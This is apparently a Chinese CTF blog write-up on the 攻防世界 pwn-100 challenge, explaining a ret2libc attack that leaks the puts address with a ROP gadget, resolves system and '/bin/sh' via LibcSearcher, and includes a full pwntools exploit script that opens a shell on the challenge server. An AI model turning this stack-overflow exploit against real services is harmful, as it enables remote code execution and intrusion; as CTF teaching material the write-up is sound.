高级rop-retlibc3心得


攻防世界 pwn-100 wp

这里要记录三种新的知识:一种是retlibc3和LibSearcher库的应用以及exp的新语法
checksec一下:

64位文件,只开了NX保护只可能是栈溢出了。



这里的代码不长一步一步看下去,是一个嵌套性函数。
查看发现没有任何后门函数可利用,比较棘手。
按shift+F12查看字符串窗口:

没有/bin/sh字符串,可判断为retlibc3类型。

分类:

1、有system(“/bin/sh”)则为retlibc类型
2、有system(“……”)但没有/bin/sh字符串为retlibc2类型
3、没有system(“……”)也没有/bin/sh字符串为retlibc3类型

前两种都挺好做,第三种属于是进阶了。
我们需要泄露出 libc 中某个函数的地址,从而根据偏移来获得 system 和 ‘/bin/sh’ 的地址并调用之,但是和之前的题不同我们并没有 libc 的样本,也就无从得知具体的偏移;我们在调用一个函数时,
需要控制一些寄存器的值(64位的调用规约规定前6个参数放在寄存器中),这里的解决方式是利用 gadget ;并且要使用 LibcSearcher 库
LibcSearcher安装方式:

--- git clone https://github.com/lieanu/LibcSearcher.git
--- cd LibcSearcher
--- python3 setup.py develop

具体报错上网搜索即可。
对于garget的搜索我用的是ropper:

所以我们最终的思路是,调用 puts 函数来获得某个库函数的地址(这里选用 puts 函数),调用时使用 gadget 来控制寄存器从而传递参数,然后利用 LibcSearcher 来获得 system 和 /bin/sh 的
地址,用它们覆盖返回地址后使程序的流程到达之,从而开启 interactive 模式
上exp:(这个exp是模仿别人的但是整体是自己写的,但不知道为什么失灵时不灵的)

from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64')
p=remote("61.147.171.105",61254)
elf = ELF('./pwn-100')
pop_rdi_ret=0x0400763
put_plt=elf.plt['puts']
put_got=elf.got['puts']
main_addr=0x04006B8
payload=b'a'*0x48+p64(pop_rdi_ret)+p64(put_got)+p64(put_plt)+p64(main_addr)#这里只能是返回到puts的plt表
payload+=b'a'*(200-len(payload))#因为got中存的是在libc的实际地址,而plt表存的是一段指令,我们要的是一段可执行的指令

p.send(payload)

p.recvuntil('bye~\n')

tmp = p.recvuntil('\n')[:-1]

puts_addr = u64(tmp + b'\x00'*(8-len(tmp))) #这里这个x00不能换成a,这是为了补全高字节的
#u64(io.recv(6).ljust(8,b'\x00'))
#u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
#u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)    #dump是偏移量
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump("system")
sh_addr=libc_base+libc.dump("str_bin_sh")

payload2=b'a'*0x48+p64(pop_rdi_ret)+p64(sh_addr)+p64(system_addr)
payload2+=b'a'*(200-len(payload2))

p.sendline(payload2)

p.interactive()

获得shell:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录